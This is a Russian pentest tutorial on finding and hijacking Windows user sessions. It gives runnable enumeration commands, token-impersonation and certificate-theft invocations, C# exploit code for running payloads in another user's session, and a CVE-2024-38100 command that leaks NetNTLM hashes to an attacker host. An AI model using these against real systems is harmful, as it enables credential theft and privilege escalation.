Врешь, не уйдешь!
Как работает угон пользовательских сессий в Windows
В Windows при входе пользователя в систему ему назначается собственная сессия. Глубоко‑глубоко внутри процесса lsass.
хранится сопоставление между сессией и учетными данными пользователя. При попытке пройти аутентификацию на стороннем хосте, ресурсе или службе LSA получает идентификатор конкретной сессии, обнаруживает связь между сессией и конкретными учетными данными, после чего проводит аутентификацию.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Подробно механизм аутентификации пользователей, принцип работы LSA и общую структуру сессий мы изучали в статье «Поставщик небезопасности. Как Windows раскрывает пароль пользователя». Сейчас же предлагаю познакомиться с механизмом кражи сессий.
Если вкратце: почти все способы кражи сессий позволяют немножко злоупотребить механизмом сопоставления сессии и учетных данных и начать исполнять какие‑нибудь нелегитимные действия от лица пользователя, на чью сессию мы можем воздействовать.

Поиск сессий пользователей
Первым делом нам нужно найти компьютер, на котором могут лежать интересные сессии пользователей. Здесь мы можем на выбор использовать:
- функции WinAPI, которые позволяют перечислять сессии на устройстве;
- поведение системы — например, можем смотреть, появляются ли определенные артефакты, которые свидетельствуют о наличии сессии пользователя на хосте;
- особенности AD, которые помогут нам раскрыть списки пользователей на хосте.
WinAPI
Начнем с самого простого варианта — WinAPI. Здесь много полезных нам функций. Я выделю эти:
Начнем с первой. У нее много аргументов, которые неплохо документированы в MSDN.
NET_API_STATUS NET_API_FUNCTION NetSessionEnum( [in] LMSTR servername, [in] LMSTR UncClientName, [in] LMSTR username, [in] DWORD level, [out] LPBYTE *bufptr, [in] DWORD prefmaxlen, [out] LPDWORD entriesread, [out] LPDWORD totalentries, [in, out] LPDWORD resume_handle);
Единственное, на что нам стоит обратить внимание, — первый параметр, он как раз таки и отвечает за компьютер, с которого будет получена информация о сессиях. Причем существует аналог этой функции, но поверх RPC — NetrSessionEnum().
С использованием этого метода работает большинство инструментов для обнаружения сессий пользователя. Например, если мы работаем с хоста на Linux, то можно воспользоваться скриптом netview.py (вот, кстати, вызов метода NetrSessionEnum()).
python3 netview.py DOMAIN/Administrator:lolkekcheb123! -target 10.10.10.10
Параметр -target
— это устройство, с которого следует собирать информацию о сессиях.

Инструмент имеет более инвазивные функции: с его помощью можно отслеживать сессии по всему домену. В таком случае список пользователей, которых ищем, указываем через -users
.

Чуть более урезанные возможности — у netexec
. Получить список пользователей через него можно, указав флаг --loggedon-users.
nxc smb 10.10.10.10/24 -u admin -p admin --loggedon-users

Наконец, BloodHound собирает информацию о сессиях точно таким же образом. Впрочем, если мы работаем с Windows, то описанные выше варианты неприменимы. Поэтому можно посмотреть в сторону LOLBAS. Например, net
.
net session [\\compname] [/list]
Либо quser
.
quser.exe /server:dc01.office.corp
# Аналог 1 в 1qwinsta.exe /server:dc01.office.corp
# Аналог 1 в 1, часть 2 :)query.exe user /server:W10.ad.bitsadmin.com

Еще существует подписанный Microsoft инструмент PsLoggedon.
psloggedon \\dc01

Наконец, есть полноценные фреймворки на PowerShell, например Get-UserSession2.ps1, BOF для Cobalt Strike Get-NetSession и, конечно же, всеми любимый Invoke-UserHunter
из пакета PowerView.
Invoke-UserHunter -GroupName "Domain Admins"Invoke-UserHunter -CheckAccess # Проверить административный доступInvoke-UserHunter -Domain "dev.corp" -UserName admin # Найти, где сейчас находится такой-то юзер# Есть флаг -Stealth, который уменьшает шансы на успех, но проверяет лишь машины с высокой ценностью
Если же вызов NetSessionEnum(
заблокирован или по какой‑то иной причине не срабатывает, то можно поискать альтернативы. Например, getloggedon.py.
python getloggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

Собственно, вызов с системы Windows можно сделать через PowerView.
Get-NetLoggedon -ComputerName HOME-PC
# Сбор сразу со всех компьютеров в доменеGet-DomainComputer | Get-NetLoggedon

Наконец, пришла очередь WinStationEnumerateW(
. Я не видел вариантов этого вызова на Python, есть на C++ с подробным разбором от автора. PoC можешь найти в его репозитории.
Реестр
Этот способ обнаружения сессий пользователя основывается на том, что при логоне юзера создается ветка в HKCU_USERS
. Так можно обнаруживать новых пользователей в системе. Конечно, в ход могут пойти стандартные утилиты reg.
и reg.py, но мастера давно создали полноценные инструменты.
Для Windows есть Invoke-SessionHunter.
Invoke-SessionHunter

А также модуль LoggedOn инструмента SharpHound. В Linux можно использовать питоновский скрипт LoggedOn.py.
python loggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139

Через SCCM
В SCCM (который не всегда развернут в AD!) есть интересная фича, которая называется Primary User. Она позволяет отслеживать, какие пользователи какие машины используют. Так что мы можем устроить настоящую охоту! Однако для использования нужно пробить SCCM-сервер.
Например, можно провести рекон через MalSCCM.

Есть также SharpSCCM. Он тоже позволяет обнаружить компы, на которых сидит определенный пользователь.
.\SharpSCCM.exe get primary-users -u Frank.Zapper
Причем поддерживается и обратная операция — получение списка пользователей, которые ходят на определенный компьютер.
SharpSCCM.exe get primary-users -sms <SMS_PROVIDER> -sc <SITECODE> -d CLIENT --no-banner

Здесь видно, что пользователь mayyhem\
ходит на CLIENT
.
Через RDP-сессии
Этот вариант поиска сессий пользователей сработает, если в сети предприятия активно используется RDP. В таком случае в Linux удобно дергать тулзу tstool.py.
python3 tstool.py CRINGE/Administrator:lolkekcheb123\!@192.168.116.129 qwinsta

А в Windows нам поможет любимый Mimikatz с его модулем ts::sessions.
mimikatz.exe "ts::sessions /server:W10.ad.bitsadmin.com" exit
Логи
Не стоит игнорировать и файлы логов, ведь при входе любого пользователя генерируется много интересных событий. Именно этот способ можно считать наиболее тихим вариантом поиска сессий пользователей.
Я выделил событие 4624 — An account was successfully logged on, оно генерируется на хосте, на который зашел пользователь. При аутентификации, например через Kerberos, на контроллере домена будет событие 4624, но источником будет считаться тот хост, на котором проходила аутентификация. В таком случае перед нами следствие запроса, а не факт аутентификации. Также в этом событии зачастую содержится IP-адрес устройства, с которого запрашивалась аутентификация.

Для анализа события можно накидать небольшой скрипт на PowerShell. Например, пусть мы хотим определить, на какие машины пользователь «Администратор» ходил в последний раз. В таком случае нам поможет событие 4624 и атрибут LastLogon
, по которому будем делать фильтрацию, чтобы не анализировать все события 4624 на хосте.
param( [Parameter(Mandatory=$true)] [string]$ComputerName,
[Parameter(Mandatory=$true)] [string]$UserName)try { Import-Module ActiveDirectory
$user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp" $lastLogonDate = [DateTime]::FromFileTime($user.lastLogonTimestamp) $startDate = $lastLogonDate.Date
$endDate = $lastLogonDate.AddDays(1).Date
$filterHashtable = @{ LogName = "Security" ID = 4624
StartTime = $startDate EndTime = $endDate } $events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $filterHashtable foreach ($event in $events) { $xmlEvent = [xml]$event.ToXml() $targetUserSid = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserSid' }).'#text' $targetUserName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserName' }).'#text' if (-not [string]::IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName) { continue } $targetDomainName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetDomainName' }).'#text' $logonType = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'LogonType' }).'#text' $ipAddress = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'IpAddress' }).'#text' Write-Host "SID User: $targetUserSid" Write-Host "Username: $targetUserName" Write-Host "Domain: $targetDomainName" Write-Host "Logon Type: $logonType" Write-Host "IP Address: $ipAddress" Write-Host "----------" }} catch { Write-Error "Error: $_"}
Использование:
.\script.ps1 -ComputerName dc01 -UserName Администратор
-
ComputerName
— имя компьютера, с которого тащить логи; -
UserName
— имя пользователя, чью сессию ищем.
Вариант на C# разработал наш китайский коллега. PoC ты найдешь в его репозитории.
Следующим обращу твое внимание на событие 4768. Оно появляется при выдаче билета TGT.

Еще потенциально могут быть интересны события 4672 и 4769. Но согласись, искать инструмент под каждое событие не очень‑то и удобно? Поэтому я разработал скрипт LogHunter, который автоматически парсит множество интересных для нас событий и помогает искать сессии пользователя.
Есть и более «дедовский» способ. Можно просто подключить оснастку mmc.
к удаленному устройству и обрабатывать логи в привычном для нас приложении.
Процессы
Наконец, взгляни на процессы. К каждому процессу привязан токен, а в токене содержится информация о том, от лица какого пользователя должен работать исполняемый файл. В таком поиске нам поможет WMI.
Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Этот командлет позволяет извлечь список процессов с устройства winpc
, после чего сразу же отфильтровать среди них служебные, которые нам не очень интересны, а после вывести список процессов с именами пользователей‑владельцев.

Кража сессий
После успешного обнаружения сессии стоит попробовать захватить ее, то есть выкрасть учетные данные. И здесь у нас появляется огромный простор для фантазии!
Воруем TGS
Одним из исправно работающих способов кражи сессии в Windows я бы назвал TGSThief, мы его разбирали в статье «Абьюз сессий Windows по‑новому. Получаем билеты TGT методом GIUDA». Вкратце: если мы начнем взаимодействовать с LSA как Logon Process, то сможем запросить билет TGS для любой сессии, то есть для любого пользователя, который находится с нами на одном устройстве.
Например, если у нас на хосте есть два пользователя: хакер и администратор, то хакер с помощью TGSThief может попросить LSA выписать билет TGS на имя администратора для какой‑нибудь службы, например CIFS контроллера домена.
Однако возможные трюки этим не ограничиваются! В Windows AD существует служба krbtgt
, которая принимает билет TGT, а отдает TGS. Что, если мы выпишем билет TGS на службу krbtgt
? Сможем ли мы получать другие TGS? Ответ: да, сможем!
Фактически если у нас на руках есть TGS на службу krbtgt
, то это равносильно полноценному билету TGT!
Таким образом мы сможем красть чужие TGT.
Вот пример эксплуатации.

Манипуляции с токенами
Имперсонация чужих токенов — это нестареющая классика эксплуатации Windows. Атакующий, имея достаточные привилегии, нацепляет на свой процесс чужой токен и работает от лица другого пользователя. Кстати, эту атаку мы проводили в статье «Свин API. Изучаем возможности WinAPI для пентестера».
Благодаря широкой известности этой атаки для нее написано достаточно много вариантов PoC. Причем существуют и необычные, например эксплуатация через WTS API. Процесс может запускаться не через CreateProcessWithTokenW(
, а через UpdateProcThreadAttribute().
И вишенкой на торте идет CrackMapExec с модулем Impersonate. Использовать его легко.
# Получить список токенов на системе crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate
# Выполнить действия от лица другого пользователя crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=<номер желаемого токена> EXEC=<"команда для запуска"> crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=0 EXEC="whoami"


RemotePotato0
RemotePotato0 — это эксплоит полузапатченного бага, позволяющий повышать привилегии. Почему «полу-»? Потому что у меня на Windows 11 с последними обновлениями все сработало, хотя в Microsoft говорили, что все пофиксили!
Если вкратце, то этот инструмент злоупотребляет процессом активации объектов DCOM, в ходе которой происходит аутентификация. Она ловится и успешно релеится, например в службу LDAP. Эту интересную атаку описывал мой коллега snovvcrash в статье «Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0».
Однако если NTLM в домене отключен либо у тебя нет возможности настраивать сторонний хост с редиректом резолва OXID-запросов, то обращу внимание на RemoteKrbRelay. Инструмент изначально задумывался для удаленного релея Kerberos, но никто тебе не мешает запустить его и против локального компьютера. Поддерживается возможность релея в LDAP, SMB, HTTP, что практически полностью повторяет функции RemotePotato0, разве что используется Kerberos, а не NTLM.
Запрос чужих сертификатов
Раз мы заговорили об AD CS, напомню, что можно принудительно триггерить сессию пользователя при заходе в AD CS, чтобы на него выписывался сертификат. Для этого можно воспользоваться утилитой Masky:
masky -d vostok.street -u dcom -p 'lolkekcheb123!' -dc-ip 192.168.137.139 -ca "dc01.vostok.street\vostok-DC01-CA" -T user --no-pfx --no-ccache 192.168.137.139 -v# 192.168.137.139 — комп, с которого дампить

Masky заходит на хост, получает список сессий, после чего для каждой запрашивает сертификат PFX, который можно использовать в атаках Pass the Certificate.
Причем модуль поддерживается и в CrackMapExec.
# Поиск CA cme ldap 10.10.10.10 -u admin -p admin -M adcs
# Использование cme smb 10.10.10.10 -u admin -p admin -M masky -o CA="CA DN"

SeMishaPrivilege
Этот код можно использовать для запуска произвольных файлов от лица стороннего пользователя на системе. При этом не нужно явно назначать привилегии SeDebug/SeImpersonate. Изначально код шел как LPE-эксплоит COM Session Moniker EOP, но к нему добавили всякие проверки.
if ( imp_token_il >= process_token_il
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user))){ ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);}
Поэтому теперь это просто способ абьюза сессий, если есть учетка локального администратора!
Единственный минус — исполняемый файл будет запущен в неинтерактивном режиме. То есть из текущей сессии мы будем видеть только успешно запущенный процесс, а в целевой сессии будут показываться GUI-приложения (если есть). Поэтому таким способом удобно запускать любые реверс‑шеллы.
using System;using System.Runtime.InteropServices;namespace IHxHelpPaneServer{ static class Program { static void Main() { var path = "file:///C:/Windows/System32/cmd.exe"; var session = System.Diagnostics.Process.GetCurrentProcess(); // Здесь указывай номер желаемой сессии, в которой запускать пейлоад Server.execute(3.ToString(), path); } } static class Server { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); } public static void execute(string new_session_id, string path) { try { IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(path); server.Execute(target.AbsoluteUri); } catch { } } }}
Перечислять доступные сессии можно с помощью WTSEnumerateSessions(
. Рекомендую воспользоваться моим IHxExec или вариантом на PowerShell. Пример эксплуатации я записал в виде ролика.
Leaked Wallpaper
Эта уязвимость задокументирована как CVE-2024-38100. Изначально ее обнаружил автор блога decoder.cloud, однако его команды у меня не заработали. Впрочем, автор в конце статьи обратил мое внимание на то, что он нашел интересный класс, который позволяет менять обои других пользователей.
И тут все встало на свои места! Меня осенило. А что, если вместо пути до файла я предоставлю UNC Path? В таком случае обои не установятся, но пользователь из целевой сессии принудительно обратится по UNC Path и отправит запрос на аутентификацию, который мы сможем перехватить, например через Responder.
Идея оказалась рабочей и позволяет получить хеш NetNTLM. Причем эксплоит работает даже от лица пользователя с низкими привилегиями.
Предлагаю рассмотреть пример эксплуатации. У нас есть учетная запись exploit
, которая абсолютно не привилегированная.

На компьютере также сидит привилегированная учетка — администратор
.

Для кражи его NetNTLM-хеша запускаем Responder.
responder -I eth1 -v
Теперь используем эксплоит и триггерим аутентификацию.
.\LeakedWallpaper.exe <session> \\<Kali IP>\c$\1.jpg
# EX .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg

Выводы
Конечно же, приведенный здесь список способов поиска учетки все равно не полный. Я попытался объединить наиболее необычные, красивые и просто эффективные варианты. Хотя зачастую получается просто сдампить процесс lsass.
и извлечь учетные данные из него. Впрочем, согласись, лучше знать, уметь и не пользоваться, чем не знать, не уметь и не пользоваться!